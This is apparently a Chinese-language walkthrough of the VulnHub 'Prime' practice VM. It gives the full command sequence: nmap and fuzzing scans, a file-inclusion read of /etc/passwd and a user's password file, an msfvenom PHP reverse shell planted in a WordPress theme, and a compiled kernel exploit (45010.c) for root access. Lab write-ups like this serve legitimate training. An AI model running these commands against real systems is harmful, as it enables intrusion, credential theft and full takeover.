Prime靶场

prime靶场（vulnhub）

靶场地址：链接：https://pan.baidu.com/s/1jsccNmrmhG2dPuaz6zGwmA
提取码：ap5g

目录

X shell 连接 kali：

#首先查看kali是否打开了22端口。ssh协议：ssh远程连接 
netstat -an|grep 22
#打开服务   
service ssh start    

1. 主机发现：

#采用nmap
nmap -sP 192.168.128.1/24 #直接对128这个网段进行扫描，-sP代表只进行ping扫描，nmap发送ICMP和TCP报文，高效
#看ip和对应的mac可以确定ip

2.端口扫描：

#采用nmap进行端口扫描
nmap -p 1-65535 -A 192.168.128.129  #-p表示端口，-A表示强力扫描

3. 目录扫描：

#可以先尝试常见的文件目录
config.php
password.txt
robots.txt
src.zip
#kali工具dirb
dirb http://192.168.128.129   #这里我对比了御剑，御剑效果不太行，除非再给一个目录深入扫描
#上面是简单扫描，可以指定后缀扫描 -X .php,.txt
dirb http://192.168.128.129 -X .txt,.php,.zip
#wfuzz
1.目录扫描
2.密码爆破
3.找参数      #如果猜不到参数，把参数进行测试。
4.压力测试
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.128.129/index.php?FUZZ
#FUZZ表示要模糊测试的位置
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.128.129/index.php?FUZZ
#添加的-hw表示屏蔽特定的长度的字    这里过滤hh 也可以

4.利用信息

http://192.168.128.129/index.php?file=location.txt   #linux系统首先尝试/etc/passwd
http://192.168.128.129/image.php?secrettier360=/etc/passwd  #给了参数继续尝试/etc/passwd
遇到文本不清晰的，可以用kali的curl工具把它打开，保存编辑器也可以
curl http://192.168.128.129/image.php?secrettier360=/etc/passwd
http://192.168.128.129/image.php?secrettier360=/home/saket/password.txt
#wpscan 扫描wordpress的工具
wpscan --url http://192.168.128.129/wordpress/ --enumerate #枚举用户名

提权：Msfvenom学习总结

#在wordpress中Theme Editor可以直接改php代码，思路：一句话木马（不稳定），php的反弹连接（稳定）php-reverse-shell.php
#常见的操作步骤：
1.在kali攻击机上监听端口：nc  socat工具
2.在靶机上访问php
#kali中的msf可以实现对上述操作的合并：
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.128.128 lport=7777 -o shell.php #注意是本地kali的ip
#得到的php反弹shell放在secret.php中，更新
#打开监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.128.128  
set lport 7777
exploit
#根据经验找到wordpress的文件，写入在wordpress/wp-content/themes/twentynineteen/secret.php 执行进入meterpreter(不是交互式)
#meterpreter使用的自己的封装的命令，部分linux的命令可以使用
#提权的思路：
1.系统内核漏洞
2.history
3.sudo -l
#sysinfo得到系统内核版本，直接msfconsole查找对应版本漏洞
searchsploit 16.04 Ubuntu  #存在且漏洞是权限提升 对应文件linux/local/45010.c
cd /usr/share/exploitdb/exploits/linux/local/  #漏洞目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./  #复制脚本到主目录
gcc 45010.c -o 45010  #编译
upload /root/45010 /tmp/45010   #本地文件地址 --> 目标目录的 /tmp/45010   #tmp目录任何用户都有读写权限

#输入shell就进入靶场的shell   注意：这里不可以输入错误
 
cd /tmp
ls   #查看一下脚本是否保存编译成功
chmod +x 45010   #添加可执行权限
./45010                  #执行
whoami 
sudo passwd victor/root  修改密码就能进入

笔记本：（记录主要信息，配合步骤查看）

22 ssh
80  apach 2.4.18
/dev
http://192.168.128.129/javascript/   
http://192.168.128.129/wordpress/   #博客，有登录方式
http://192.168.128.129/image.php   #和图片一样
http://192.168.128.129/index.php
http://192.168.128.129/secret.txt #这里给了一个提示，用模糊测试 还有location.txt
                               利用fuzz得到file  ==>联想到文件包含漏洞
 secrettier360   #得到参数，利用在php上  查询自己有的php尝试

saket:x:1001:1001:find password.txt file in my directory:/home/saket:
得到follow_the_ippsec
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation  linux/local/45010.c